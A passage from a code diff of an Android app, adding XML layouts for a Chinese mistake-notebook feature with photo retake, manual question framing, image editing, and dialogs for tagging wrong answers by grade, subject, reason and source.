  356 + android:orientation="vertical"
  357 + android:visibility="gone">
  358 +
  359 + <ImageView
  360 + android:layout_width="25dp"
  361 + android:layout_height="25dp"
  362 + android:layout_gravity="center_horizontal"
  363 + android:src="@mipmap/ic_delete" />
  364 +
  365 + <TextView
  366 + android:layout_width="wrap_content"
  367 + android:layout_height="wrap_content"
  368 + android:layout_gravity="center_horizontal"
  369 + android:layout_marginTop="5dp"
  370 + android:text="删除"
  371 + android:textSize="11sp" />
  372 + </LinearLayout>
  373 +
  374 + <TextView
  375 + android:id="@+id/tv_save"
  376 + android:layout_width="280dp"
  377 + android:layout_height="40dp"
  378 + android:layout_alignParentRight="true"
  379 + android:layout_centerVertical="true"
  380 + android:layout_marginRight="15dp"
  381 + android:background="@drawable/bg_soild_blue_5"
  382 + android:gravity="center"
  383 + android:text="批量修改标签"
  384 + android:textColor="@color/white"
  385 + android:textSize="18sp"
  386 + android:visibility="gone" />
  387 + </RelativeLayout>
  388 +</RelativeLayout>
0 389 \ No newline at end of file
... ...
app/src/main/res/layout/activity_image.xml
... ... @@ -0,0 +1,162 @@
  1 +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:layout_width="match_parent"
  3 + android:layout_height="match_parent"
  4 + android:orientation="vertical">
  5 +
  6 + <RelativeLayout
  7 + android:layout_width="match_parent"
  8 + android:layout_height="40dp"
  9 + android:background="@color/white">
  10 +
  11 + <TextView
  12 + android:id="@+id/tv_title"
  13 + android:layout_width="wrap_content"
  14 + android:layout_height="wrap_content"
  15 + android:layout_centerInParent="true"
  16 + android:textColor="#333333"
  17 + android:textSize="18sp" />
  18 +
  19 + <ImageView
  20 + android:id="@+id/iv_back"
  21 + android:layout_width="30dp"
  22 + android:layout_height="36dp"
  23 + android:layout_centerVertical="true"
  24 + android:layout_marginLeft="5dp"
  25 + android:padding="10dp"
  26 + android:src="@mipmap/icon_back" />
  27 +
  28 + <TextView
  29 + android:id="@+id/tv_photo"
  30 + android:layout_width="wrap_content"
  31 + android:layout_height="wrap_content"
  32 + android:layout_centerVertical="true"
  33 + android:layout_toRightOf="@+id/iv_back"
  34 + android:text="重拍"
  35 + android:textColor="#333333"
  36 + android:textSize="14sp" />
  37 +
  38 + <TextView
  39 + android:layout_width="wrap_content"
  40 + android:layout_height="wrap_content"
  41 + android:layout_alignParentRight="true"
  42 + android:layout_centerVertical="true"
  43 + android:layout_marginRight="15dp"
  44 + android:text="查看原图"
  45 + android:textColor="#333333"
  46 + android:textSize="14sp"
  47 + android:visibility="gone" />
  48 + </RelativeLayout>
  49 +
  50 + <TextView
  51 + android:layout_width="match_parent"
  52 + android:layout_height="35dp"
  53 + android:background="#C7DFF5"
  54 + android:gravity="center"
  55 + android:text="已为您自动框选题目,点击“+”添加题目"
  56 + android:textColor="#1C90F3"
  57 + android:textSize="13sp" />
  58 +
  59 + <RelativeLayout
  60 + android:layout_width="match_parent"
  61 + android:layout_height="match_parent"
  62 + android:background="#F8F8F8">
  63 +
  64 + <androidx.viewpager2.widget.ViewPager2
  65 + android:id="@+id/viewPager"
  66 + android:layout_width="match_parent"
  67 + android:layout_height="match_parent"
  68 + android:layout_above="@+id/rl_previous" />
  69 +
  70 + <RelativeLayout
  71 + android:id="@+id/rl_previous"
  72 + android:layout_width="30dp"
  73 + android:layout_height="30dp"
  74 + android:layout_above="@+id/rl_bottom"
  75 + android:layout_marginLeft="15dp"
  76 + android:layout_marginBottom="15dp"
  77 + android:background="@drawable/bg_solid_white">
  78 +
  79 + <ImageView
  80 + android:id="@+id/iv_previous"
  81 + android:layout_width="10dp"
  82 + android:layout_height="18dp"
  83 + android:layout_centerInParent="true"
  84 + android:src="@mipmap/ic_previous_gray" />
  85 + </RelativeLayout>
  86 +
  87 + <RelativeLayout
  88 + android:id="@+id/rl_next"
  89 + android:layout_width="30dp"
  90 + android:layout_height="30dp"
  91 + android:layout_above="@+id/rl_bottom"
  92 + android:layout_alignParentRight="true"
  93 + android:layout_marginRight="15dp"
  94 + android:layout_marginBottom="15dp"
  95 + android:background="@drawable/bg_solid_white">
  96 +
  97 + <ImageView
  98 + android:id="@+id/iv_next"
  99 + android:layout_width="10dp"
  100 + android:layout_height="18dp"
  101 + android:layout_centerInParent="true"
  102 + android:src="@mipmap/ic_next_gray" />
  103 + </RelativeLayout>
  104 +
  105 + <RelativeLayout
  106 + android:id="@+id/rl_bottom"
  107 + android:layout_width="match_parent"
  108 + android:layout_height="70dp"
  109 + android:layout_alignParentBottom="true"
  110 + android:background="@color/white">
  111 +
  112 + <LinearLayout
  113 + android:id="@+id/ll_edit"
  114 + android:layout_width="wrap_content"
  115 + android:layout_height="wrap_content"
  116 + android:layout_centerVertical="true"
  117 + android:layout_marginLeft="15dp"
  118 + android:orientation="vertical">
  119 +
  120 + <ImageView
  121 + android:layout_width="25dp"
  122 + android:layout_height="25dp"
  123 + android:layout_gravity="center_horizontal"
  124 + android:src="@mipmap/ic_pic_edit" />
  125 +
  126 + <TextView
  127 + android:layout_width="wrap_content"
  128 + android:layout_height="wrap_content"
  129 + android:layout_marginTop="5dp"
  130 + android:text="图片编辑"
  131 + android:textSize="11sp" />
  132 + </LinearLayout>
  133 +
  134 + <TextView
  135 + android:id="@+id/tv_add"
  136 + android:layout_width="140dp"
  137 + android:layout_height="40dp"
  138 + android:layout_centerVertical="true"
  139 + android:layout_marginRight="15dp"
  140 + android:layout_toLeftOf="@+id/tv_save"
  141 + android:background="@drawable/bg_soild_orange_5"
  142 + android:gravity="center"
  143 + android:text="手动框选"
  144 + android:textColor="@color/white"
  145 + android:textSize="18sp" />
  146 +
  147 + <TextView
  148 + android:id="@+id/tv_save"
  149 + android:layout_width="140dp"
  150 + android:layout_height="40dp"
  151 + android:layout_alignParentRight="true"
  152 + android:layout_centerVertical="true"
  153 + android:layout_marginRight="15dp"
  154 + android:background="@drawable/bg_soild_blue_light_5"
  155 + android:enabled="false"
  156 + android:gravity="center"
  157 + android:text="保留错题"
  158 + android:textColor="@color/white"
  159 + android:textSize="18sp" />
  160 + </RelativeLayout>
  161 + </RelativeLayout>
  162 +</LinearLayout>
0 163 \ No newline at end of file
... ...
app/src/main/res/layout/activity_image_edit.xml
... ... @@ -0,0 +1,151 @@
  1 +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2 + xmlns:xxx="http://schemas.android.com/apk/res-auto"
  3 + android:layout_width="match_parent"
  4 + android:layout_height="match_parent"
  5 + android:orientation="vertical">
  6 +
  7 + <RelativeLayout
  8 + android:layout_width="match_parent"
  9 + android:layout_height="40dp"
  10 + android:background="@color/white">
  11 +
  12 + <TextView
  13 + android:id="@+id/tv_title"
  14 + android:layout_width="wrap_content"
  15 + android:layout_height="wrap_content"
  16 + android:layout_centerInParent="true"
  17 + android:text="图片编辑"
  18 + android:textColor="#333333"
  19 + android:textSize="18sp" />
  20 +
  21 + <ImageView
  22 + android:id="@+id/iv_back"
  23 + android:layout_width="30dp"
  24 + android:layout_height="36dp"
  25 + android:layout_centerVertical="true"
  26 + android:layout_marginLeft="5dp"
  27 + android:padding="10dp"
  28 + android:src="@mipmap/icon_back" />
  29 + </RelativeLayout>
  30 +
  31 + <RelativeLayout
  32 + android:layout_width="match_parent"
  33 + android:layout_height="match_parent"
  34 + android:background="@color/black">
  35 +
  36 + <RelativeLayout
  37 + android:layout_width="match_parent"
  38 + android:layout_height="match_parent"
  39 + android:layout_above="@+id/rl_bottom"
  40 + android:layout_marginLeft="15dp"
  41 + android:layout_marginTop="50dp"
  42 + android:layout_marginRight="15dp"
  43 + android:layout_marginBottom="50dp">
  44 +
  45 + <com.prws.common.widget.MarkSizeView
  46 + android:id="@+id/mark_view"
  47 + android:layout_width="wrap_content"
  48 + android:layout_height="wrap_content"
  49 + android:layout_centerInParent="true"
  50 + xxx:markedColor="@color/select_fill"
  51 + xxx:strokeWidth="1dp"
  52 + xxx:strokesColor="@color/select_border"
  53 + xxx:vertexColor="@color/select_border"
  54 + xxx:vertexWidth="12dp" />
  55 + </RelativeLayout>
  56 +
  57 + <RelativeLayout
  58 + android:id="@+id/rl_bottom"
  59 + android:layout_width="match_parent"
  60 + android:layout_height="70dp"
  61 + android:layout_alignParentBottom="true"
  62 + android:background="@color/white">
  63 +
  64 +
  65 + <LinearLayout
  66 + android:id="@+id/ll_photo"
  67 + android:layout_width="wrap_content"
  68 + android:layout_height="wrap_content"
  69 + android:layout_centerVertical="true"
  70 + android:layout_marginLeft="15dp"
  71 + android:orientation="vertical">
  72 +
  73 + <ImageView
  74 + android:layout_width="25dp"
  75 + android:layout_height="25dp"
  76 + android:layout_gravity="center_horizontal"
  77 + android:src="@mipmap/ic_photo_again" />
  78 +
  79 + <TextView
  80 + android:layout_width="wrap_content"
  81 + android:layout_height="wrap_content"
  82 + android:layout_gravity="center_horizontal"
  83 + android:layout_marginTop="5dp"
  84 + android:text="重拍"
  85 + android:textSize="11sp" />
  86 + </LinearLayout>
  87 +
  88 +
  89 + <LinearLayout
  90 + android:id="@+id/ll_rotate"
  91 + android:layout_width="wrap_content"
  92 + android:layout_height="wrap_content"
  93 + android:layout_centerVertical="true"
  94 + android:layout_marginLeft="40dp"
  95 + android:layout_toRightOf="@+id/ll_photo"
  96 + android:orientation="vertical">
  97 +
  98 + <ImageView
  99 + android:layout_width="25dp"
  100 + android:layout_height="25dp"
  101 + android:layout_gravity="center_horizontal"
  102 + android:src="@mipmap/ic_rotate" />
  103 +
  104 + <TextView
  105 + android:layout_width="wrap_content"
  106 + android:layout_height="wrap_content"
  107 + android:layout_gravity="center_horizontal"
  108 + android:layout_marginTop="5dp"
  109 + android:text="旋转"
  110 + android:textSize="11sp" />
  111 + </LinearLayout>
  112 +
  113 + <LinearLayout
  114 + android:id="@+id/ll_delete"
  115 + android:layout_width="wrap_content"
  116 + android:layout_height="wrap_content"
  117 + android:layout_centerVertical="true"
  118 + android:layout_marginLeft="40dp"
  119 + android:layout_toRightOf="@+id/ll_rotate"
  120 + android:orientation="vertical">
  121 +
  122 + <ImageView
  123 + android:layout_width="25dp"
  124 + android:layout_height="25dp"
  125 + android:layout_gravity="center_horizontal"
  126 + android:src="@mipmap/ic_delete" />
  127 +
  128 + <TextView
  129 + android:layout_width="wrap_content"
  130 + android:layout_height="wrap_content"
  131 + android:layout_gravity="center_horizontal"
  132 + android:layout_marginTop="5dp"
  133 + android:text="删除"
  134 + android:textSize="11sp" />
  135 + </LinearLayout>
  136 +
  137 + <TextView
  138 + android:id="@+id/tv_save"
  139 + android:layout_width="140dp"
  140 + android:layout_height="40dp"
  141 + android:layout_alignParentRight="true"
  142 + android:layout_centerVertical="true"
  143 + android:layout_marginRight="15dp"
  144 + android:background="@drawable/bg_soild_blue_5"
  145 + android:gravity="center"
  146 + android:text="完成"
  147 + android:textColor="@color/white"
  148 + android:textSize="18sp" />
  149 + </RelativeLayout>
  150 + </RelativeLayout>
  151 +</LinearLayout>
0 152 \ No newline at end of file
... ...
app/src/main/res/layout/activity_image_select.xml
... ... @@ -0,0 +1,104 @@
  1 +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2 + xmlns:tools="http://schemas.android.com/tools"
  3 + xmlns:xxx="http://schemas.android.com/apk/res-auto"
  4 + android:layout_width="match_parent"
  5 + android:layout_height="match_parent"
  6 + android:orientation="vertical"
  7 + tools:ignore="MissingDefaultResource">
  8 +
  9 + <RelativeLayout
  10 + android:layout_width="match_parent"
  11 + android:layout_height="40dp"
  12 + android:background="@color/white">
  13 +
  14 + <TextView
  15 + android:id="@+id/tv_title"
  16 + android:layout_width="wrap_content"
  17 + android:layout_height="wrap_content"
  18 + android:layout_centerInParent="true"
  19 + android:text="手动框选"
  20 + android:textColor="#333333"
  21 + android:textSize="18sp" />
  22 +
  23 + <ImageView
  24 + android:id="@+id/iv_back"
  25 + android:layout_width="30dp"
  26 + android:layout_height="36dp"
  27 + android:layout_centerVertical="true"
  28 + android:layout_marginLeft="5dp"
  29 + android:padding="10dp"
  30 + android:src="@mipmap/icon_back" />
  31 + </RelativeLayout>
  32 +
  33 + <RelativeLayout
  34 + android:layout_width="match_parent"
  35 + android:layout_height="match_parent"
  36 + android:background="@color/white">
  37 +
  38 + <RelativeLayout
  39 + android:layout_width="match_parent"
  40 + android:layout_height="match_parent"
  41 + android:layout_above="@+id/rl_bottom"
  42 + android:layout_marginLeft="15dp"
  43 + android:layout_marginTop="35dp"
  44 + android:layout_marginRight="15dp"
  45 + android:layout_marginBottom="45dp">
  46 +
  47 + <com.prws.common.widget.MarkSizeView
  48 + android:id="@+id/mark_view"
  49 + android:layout_width="wrap_content"
  50 + android:layout_height="wrap_content"
  51 + android:layout_centerInParent="true"
  52 + xxx:markedColor="@color/select_fill"
  53 + xxx:strokeWidth="1dp"
  54 + xxx:strokesColor="@color/select_border"
  55 + xxx:vertexColor="@color/select_border"
  56 + xxx:vertexWidth="12dp" />
  57 + </RelativeLayout>
  58 +
  59 + <RelativeLayout
  60 + android:id="@+id/rl_bottom"
  61 + android:layout_width="match_parent"
  62 + android:layout_height="70dp"
  63 + android:layout_alignParentBottom="true"
  64 + android:background="@color/white">
  65 +
  66 +
  67 + <LinearLayout
  68 + android:id="@+id/ll_delete"
  69 + android:layout_width="wrap_content"
  70 + android:layout_height="wrap_content"
  71 + android:layout_centerVertical="true"
  72 + android:layout_marginLeft="15dp"
  73 + android:orientation="vertical">
  74 +
  75 + <ImageView
  76 + android:layout_width="25dp"
  77 + android:layout_height="25dp"
  78 + android:layout_gravity="center_horizontal"
  79 + android:src="@mipmap/ic_delete" />
  80 +
  81 + <TextView
  82 + android:layout_width="wrap_content"
  83 + android:layout_height="wrap_content"
  84 + android:layout_gravity="center_horizontal"
  85 + android:layout_marginTop="5dp"
  86 + android:text="删除"
  87 + android:textSize="11sp" />
  88 + </LinearLayout>
  89 +
  90 + <TextView
  91 + android:id="@+id/tv_save"
  92 + android:layout_width="280dp"
  93 + android:layout_height="40dp"
  94 + android:layout_alignParentRight="true"
  95 + android:layout_centerVertical="true"
  96 + android:layout_marginRight="15dp"
  97 + android:background="@drawable/bg_soild_blue_5"
  98 + android:gravity="center"
  99 + android:text="完成"
  100 + android:textColor="@color/white"
  101 + android:textSize="18sp" />
  102 + </RelativeLayout>
  103 + </RelativeLayout>
  104 +</LinearLayout>
0 105 \ No newline at end of file
... ...
app/src/main/res/layout/dialog_add_error.xml
... ... @@ -0,0 +1,208 @@
  1 +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:layout_width="match_parent"
  3 + android:layout_height="wrap_content"
  4 + android:background="@drawable/bg_solid_white_10_top"
  5 + android:orientation="vertical">
  6 +
  7 + <RelativeLayout
  8 + android:layout_width="match_parent"
  9 + android:layout_height="50dp">
  10 +
  11 + <TextView
  12 + android:layout_width="wrap_content"
  13 + android:layout_height="wrap_content"
  14 + android:layout_centerInParent="true"
  15 + android:text="加入错题本"
  16 + android:textColor="@color/text_title"
  17 + android:textSize="17sp"
  18 + android:textStyle="bold" />
  19 +
  20 + <ImageView
  21 + android:id="@+id/iv_back"
  22 + android:layout_width="35dp"
  23 + android:layout_height="35dp"
  24 + android:layout_alignParentRight="true"
  25 + android:layout_centerVertical="true"
  26 + android:layout_marginRight="10dp"
  27 + android:padding="10dp"
  28 + android:src="@mipmap/ic_close" />
  29 + </RelativeLayout>
  30 +
  31 + <androidx.recyclerview.widget.RecyclerView
  32 + android:id="@+id/list_item"
  33 + android:layout_width="match_parent"
  34 + android:layout_height="30dp"
  35 + android:layout_marginLeft="20dp"
  36 + android:layout_marginTop="10dp"
  37 + android:layout_marginRight="20dp" />
  38 +
  39 + <RelativeLayout
  40 + android:layout_width="match_parent"
  41 + android:layout_height="90dp"
  42 + android:layout_marginLeft="20dp"
  43 + android:layout_marginTop="20dp"
  44 + android:layout_marginRight="20dp">
  45 +
  46 + <RelativeLayout
  47 + android:layout_width="match_parent"
  48 + android:layout_height="match_parent"
  49 + android:background="#F5F5F5">
  50 +
  51 + <ImageView
  52 + android:id="@+id/iv_topic"
  53 + android:layout_width="wrap_content"
  54 + android:layout_height="wrap_content"
  55 + android:layout_centerVertical="true" />
  56 + </RelativeLayout>
  57 + </RelativeLayout>
  58 +
  59 + <TextView
  60 + android:layout_width="wrap_content"
  61 + android:layout_height="wrap_content"
  62 + android:layout_centerVertical="true"
  63 + android:layout_marginLeft="20dp"
  64 + android:layout_marginTop="20dp"
  65 + android:text="年级学期"
  66 + android:textColor="@color/text_title"
  67 + android:textSize="15sp"
  68 + android:textStyle="bold" />
  69 +
  70 + <androidx.appcompat.widget.AppCompatSpinner
  71 + android:id="@+id/spinner_grade"
  72 + style="@style/customSpinnerStyle"
  73 + android:layout_width="match_parent"
  74 + android:layout_height="40dp"
  75 + android:layout_centerHorizontal="true"
  76 + android:layout_marginLeft="20dp"
  77 + android:layout_marginTop="10dp"
  78 + android:layout_marginRight="20dp"
  79 + android:background="@drawable/selector_for_custom_spinner"
  80 + android:entries="@array/filter_subject"
  81 + android:popupBackground="@drawable/shape_for_custom_spinner"
  82 + android:scrollbars="none" />
  83 +
  84 + <TextView
  85 + android:layout_width="wrap_content"
  86 + android:layout_height="wrap_content"
  87 + android:layout_centerVertical="true"
  88 + android:layout_marginLeft="20dp"
  89 + android:layout_marginTop="20dp"
  90 + android:text="科目"
  91 + android:textColor="@color/text_title"
  92 + android:textSize="15sp"
  93 + android:textStyle="bold" />
  94 +
  95 + <androidx.appcompat.widget.AppCompatSpinner
  96 + android:id="@+id/spinner_subject"
  97 + style="@style/customSpinnerStyle"
  98 + android:layout_width="match_parent"
  99 + android:layout_height="40dp"
  100 + android:layout_centerHorizontal="true"
  101 + android:layout_marginLeft="20dp"
  102 + android:layout_marginTop="10dp"
  103 + android:layout_marginRight="20dp"
  104 + android:background="@drawable/selector_for_custom_spinner"
  105 + android:entries="@array/filter_subject"
  106 + android:popupBackground="@drawable/shape_for_custom_spinner"
  107 + android:scrollbars="none" />
  108 +
  109 + <TextView
  110 + android:layout_width="wrap_content"
  111 + android:layout_height="wrap_content"
  112 + android:layout_centerVertical="true"
  113 + android:layout_marginLeft="20dp"
  114 + android:layout_marginTop="20dp"
  115 + android:text="错误原因"
  116 + android:textColor="@color/text_title"
  117 + android:textSize="15sp"
  118 + android:textStyle="bold" />
  119 +
  120 + <androidx.appcompat.widget.AppCompatSpinner
  121 + android:id="@+id/spinner_reason"
  122 + style="@style/customSpinnerStyle"
  123 + android:layout_width="match_parent"
  124 + android:layout_height="40dp"
  125 + android:layout_centerHorizontal="true"
  126 + android:layout_marginLeft="20dp"
  127 + android:layout_marginTop="10dp"
  128 + android:layout_marginRight="20dp"
  129 + android:background="@drawable/selector_for_custom_spinner"
  130 + android:entries="@array/filter_subject"
  131 + android:popupBackground="@drawable/shape_for_custom_spinner"
  132 + android:scrollbars="none" />
  133 +
  134 + <TextView
  135 + android:layout_width="wrap_content"
  136 + android:layout_height="wrap_content"
  137 + android:layout_centerVertical="true"
  138 + android:layout_marginLeft="20dp"
  139 + android:layout_marginTop="20dp"
  140 + android:text="来源"
  141 + android:textColor="@color/text_title"
  142 + android:textSize="15sp"
  143 + android:textStyle="bold" />
  144 +
  145 + <RadioGroup
  146 + android:id="@+id/type_radio"
  147 + android:layout_width="match_parent"
  148 + android:layout_height="40dp"
  149 + android:layout_marginLeft="20dp"
  150 + android:layout_marginTop="10dp"
  151 + android:orientation="horizontal">
  152 +
  153 + <RadioButton
  154 + android:layout_width="65dp"
  155 + android:layout_height="match_parent"
  156 + android:layout_marginRight="20dp"
  157 + android:background="@drawable/radio_button_selector"
  158 + android:button="@null"
  159 + android:gravity="center"
  160 + android:text="课内"
  161 + android:textColor="@drawable/radio_text_selector"
  162 + android:textSize="14sp" />
  163 +
  164 + <RadioButton
  165 + android:layout_width="65dp"
  166 + android:layout_height="match_parent"
  167 + android:layout_marginRight="20dp"
  168 + android:background="@drawable/radio_button_selector"
  169 + android:button="@null"
  170 + android:gravity="center"
  171 + android:text="课外"
  172 + android:textColor="@drawable/radio_text_selector"
  173 + android:textSize="14sp" />
  174 + </RadioGroup>
  175 +
  176 +
  177 + <RelativeLayout
  178 + android:layout_width="match_parent"
  179 + android:layout_height="40dp"
  180 + android:layout_marginLeft="20dp"
  181 + android:layout_marginTop="20dp"
  182 + android:layout_marginRight="20dp"
  183 + android:layout_marginBottom="15dp">
  184 +
  185 + <TextView
  186 + android:id="@+id/add_topic"
  187 + android:layout_width="250dp"
  188 + android:layout_height="match_parent"
  189 + android:layout_alignParentRight="true"
  190 + android:background="@drawable/bg_soild_blue_5"
  191 + android:gravity="center"
  192 + android:textColor="@color/white"
  193 + android:textSize="17sp" />
  194 +
  195 + <CheckBox
  196 + android:id="@+id/checkbox"
  197 + android:layout_width="wrap_content"
  198 + android:layout_height="30dp"
  199 + android:layout_centerVertical="true"
  200 + android:button="@drawable/checkbox_selector"
  201 + android:text="批量设置"
  202 + android:paddingLeft="8dp"
  203 + android:textColor="@color/text_title"
  204 + android:textSize="14sp" />
  205 +
  206 + </RelativeLayout>
  207 +</LinearLayout>
  208 +
... ...
app/src/main/res/layout/dialog_edit_error.xml
... ... @@ -0,0 +1,171 @@
  1 +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:layout_width="match_parent"
  3 + android:layout_height="wrap_content"
  4 + android:background="@drawable/bg_solid_white_10_top"
  5 + android:orientation="vertical">
  6 +
  7 + <RelativeLayout
  8 + android:layout_width="match_parent"
  9 + android:layout_height="50dp">
  10 +
  11 + <TextView
  12 + android:layout_width="wrap_content"
  13 + android:layout_height="wrap_content"
  14 + android:layout_centerInParent="true"
  15 + android:text="错题标签"
  16 + android:textColor="@color/text_title"
  17 + android:textSize="17sp"
  18 + android:textStyle="bold" />
  19 +
  20 + <ImageView
  21 + android:id="@+id/iv_back"
  22 + android:layout_width="35dp"
  23 + android:layout_height="35dp"
  24 + android:layout_alignParentRight="true"
  25 + android:layout_centerVertical="true"
  26 + android:layout_marginRight="10dp"
  27 + android:padding="10dp"
  28 + android:src="@mipmap/ic_close" />
  29 + </RelativeLayout>
  30 +
  31 + <TextView
  32 + android:layout_width="wrap_content"
  33 + android:layout_height="wrap_content"
  34 + android:layout_centerVertical="true"
  35 + android:layout_marginLeft="20dp"
  36 + android:layout_marginTop="20dp"
  37 + android:text="年级学期"
  38 + android:textColor="@color/text_title"
  39 + android:textSize="15sp"
  40 + android:textStyle="bold" />
  41 +
  42 + <androidx.appcompat.widget.AppCompatSpinner
  43 + android:id="@+id/spinner_grade"
  44 + style="@style/customSpinnerStyle"
  45 + android:layout_width="match_parent"
  46 + android:layout_height="40dp"
  47 + android:layout_centerHorizontal="true"
  48 + android:layout_marginLeft="20dp"
  49 + android:layout_marginTop="10dp"
  50 + android:layout_marginRight="20dp"
  51 + android:background="@drawable/selector_for_custom_spinner"
  52 + android:entries="@array/filter_subject"
  53 + android:popupBackground="@drawable/shape_for_custom_spinner"
  54 + android:scrollbars="none" />
  55 +
  56 + <TextView
  57 + android:layout_width="wrap_content"
  58 + android:layout_height="wrap_content"
  59 + android:layout_centerVertical="true"
  60 + android:layout_marginLeft="20dp"
  61 + android:layout_marginTop="20dp"
  62 + android:text="科目"
  63 + android:textColor="@color/text_title"
  64 + android:textSize="15sp"
  65 + android:textStyle="bold" />
  66 +
  67 + <androidx.appcompat.widget.AppCompatSpinner
  68 + android:id="@+id/spinner_subject"
  69 + style="@style/customSpinnerStyle"
  70 + android:layout_width="match_parent"
  71 + android:layout_height="40dp"
  72 + android:layout_centerHorizontal="true"
  73 + android:layout_marginLeft="20dp"
  74 + android:layout_marginTop="10dp"
  75 + android:layout_marginRight="20dp"
  76 + android:background="@drawable/selector_for_custom_spinner"
  77 + android:entries="@array/filter_subject"
  78 + android:popupBackground="@drawable/shape_for_custom_spinner"
  79 + android:scrollbars="none" />
  80 +
  81 + <TextView
  82 + android:layout_width="wrap_content"
  83 + android:layout_height="wrap_content"
  84 + android:layout_centerVertical="true"
  85 + android:layout_marginLeft="20dp"
  86 + android:layout_marginTop="20dp"
  87 + android:text="错误原因"
  88 + android:textColor="@color/text_title"
  89 + android:textSize="15sp"
  90 + android:textStyle="bold" />
  91 +
  92 + <androidx.appcompat.widget.AppCompatSpinner
  93 + android:id="@+id/spinner_reason"
  94 + style="@style/customSpinnerStyle"
  95 + android:layout_width="match_parent"
  96 + android:layout_height="40dp"
  97 + android:layout_centerHorizontal="true"
  98 + android:layout_marginLeft="20dp"
  99 + android:layout_marginTop="10dp"
  100 + android:layout_marginRight="20dp"
  101 + android:background="@drawable/selector_for_custom_spinner"
  102 + android:entries="@array/filter_subject"
  103 + android:popupBackground="@drawable/shape_for_custom_spinner"
  104 + android:scrollbars="none" />
  105 +
  106 + <TextView
  107 + android:layout_width="wrap_content"
  108 + android:layout_height="wrap_content"
  109 + android:layout_centerVertical="true"
  110 + android:layout_marginLeft="20dp"
  111 + android:layout_marginTop="20dp"
  112 + android:text="来源"
  113 + android:textColor="@color/text_title"
  114 + android:textSize="15sp"
  115 + android:textStyle="bold" />
  116 +
  117 + <RadioGroup
  118 + android:id="@+id/type_radio"
  119 + android:layout_width="match_parent"
  120 + android:layout_height="40dp"
  121 + android:layout_marginLeft="20dp"
  122 + android:layout_marginTop="10dp"
  123 + android:orientation="horizontal">
  124 +
  125 + <RadioButton
  126 + android:layout_width="65dp"
  127 + android:layout_height="match_parent"
  128 + android:layout_marginRight="20dp"
  129 + android:background="@drawable/radio_button_selector"
  130 + android:button="@null"
  131 + android:gravity="center"
  132 + android:text="课内"
  133 + android:textColor="@drawable/radio_text_selector"
  134 + android:textSize="14sp" />
  135 +
  136 + <RadioButton
  137 + android:layout_width="65dp"
  138 + android:layout_height="match_parent"
  139 + android:layout_marginRight="20dp"
  140 + android:background="@drawable/radio_button_selector"
  141 + android:button="@null"
  142 + android:gravity="center"
  143 + android:text="课外"
  144 + android:textColor="@drawable/radio_text_selector"
  145 + android:textSize="14sp" />
  146 + </RadioGroup>
  147 +
  148 +
  149 + <RelativeLayout
  150 + android:layout_width="match_parent"
  151 + android:layout_height="40dp"
  152 + android:layout_marginLeft="20dp"
  153 + android:layout_marginTop="20dp"
  154 + android:layout_marginRight="20dp"
  155 + android:layout_marginBottom="15dp">
  156 +
  157 + <TextView
  158 + android:id="@+id/add_topic"
  159 + android:layout_width="250dp"
  160 + android:layout_height="match_parent"
  161 + android:layout_centerInParent="true"
  162 + android:background="@drawable/bg_soild_blue_5"
  163 + android:gravity="center"
  164 + android:text="确认修改"
  165 + android:textColor="@color/white"
  166 + android:textSize="17sp" />
  167 +
  168 +
  169 + </RelativeLayout>
  170 +</LinearLayout>
  171 +
... ...
app/src/main/res/layout/dialog_tip.xml
... ... @@ -0,0 +1,81 @@
  1 +<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
  2 + android:layout_width="match_parent"
  3 + android:layout_height="match_parent">
  4 +
  5 + <RelativeLayout
  6 + android:layout_width="335dp"
  7 + android:layout_height="wrap_content"
  8 + android:layout_centerInParent="true"
  9 + android:background="@drawable/bg_solid_white_10">
  10 +
  11 + <ImageView
  12 + android:id="@+id/iv_tip"
  13 + android:layout_width="70dp"
  14 + android:layout_height="70dp"
  15 + android:layout_centerHorizontal="true"
  16 + android:layout_marginTop="5dp"
  17 + android:visibility="gone" />
  18 +
  19 + <TextView
  20 + android:id="@+id/tv_title"
  21 + android:layout_width="wrap_content"
  22 + android:layout_height="wrap_content"
  23 + android:layout_below="@+id/iv_tip"
  24 + android:layout_centerHorizontal="true"
  25 + android:layout_marginLeft="40dp"
  26 + android:layout_marginTop="20dp"
  27 + android:layout_marginRight="40dp"
  28 + android:textColor="#333333"
  29 + android:textSize="19sp"
  30 + android:textStyle="bold" />
  31 +
  32 + <TextView
  33 + android:id="@+id/tv_content"
  34 + android:layout_width="wrap_content"
  35 + android:layout_height="wrap_content"
  36 + android:layout_below="@+id/tv_title"
  37 + android:layout_centerHorizontal="true"
  38 + android:layout_marginLeft="40dp"
  39 + android:layout_marginTop="15dp"
  40 + android:layout_marginRight="40dp"
  41 + android:textColor="#333333"
  42 + android:textSize="19sp" />
  43 +
  44 + <LinearLayout
  45 + android:layout_width="match_parent"
  46 + android:layout_height="50dp"
  47 + android:layout_below="@+id/tv_content"
  48 + android:layout_marginTop="30dp"
  49 + android:orientation="horizontal">
  50 +
  51 + <TextView
  52 + android:id="@+id/tv_cancel"
  53 + android:layout_width="0dp"
  54 + android:layout_height="match_parent"
  55 + android:layout_weight="1"
  56 + android:gravity="center"
  57 + android:textColor="#999999" />
  58 +
  59 + <View
  60 + android:layout_width="1dp"
  61 + android:layout_height="match_parent"
  62 + android:background="#EEEEEE" />
  63 +
  64 + <TextView
  65 + android:id="@+id/tv_confirm"
  66 + android:layout_width="0dp"
  67 + android:layout_height="match_parent"
  68 + android:layout_weight="1"
  69 + android:gravity="center"
  70 + android:textColor="#489AFA" />
  71 + </LinearLayout>
  72 +
  73 + <View
  74 + android:layout_width="match_parent"
  75 + android:layout_height="1dp"
  76 + android:layout_below="@+id/tv_content"
  77 + android:layout_marginTop="30dp"
  78 + android:background="#EEEEEE" />
  79 +
  80 + </RelativeLayout>
  81 +</RelativeLayout>
0 82 \ No newline at end of file
... ...
app/src/main/res/layout/fragment_home.xml
... ... @@ -108,6 +108,7 @@
108 108  
109 109 <LinearLayout
110 110 android:layout_width="0dp"
  111 + android:id="@+id/ll_error"
111 112 android:layout_height="wrap_content"
112 113 android:layout_weight="1"
113 114 android:orientation="vertical">
... ...
app/src/main/res/layout/item_error.xml
... ... @@ -0,0 +1,98 @@
  1 +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
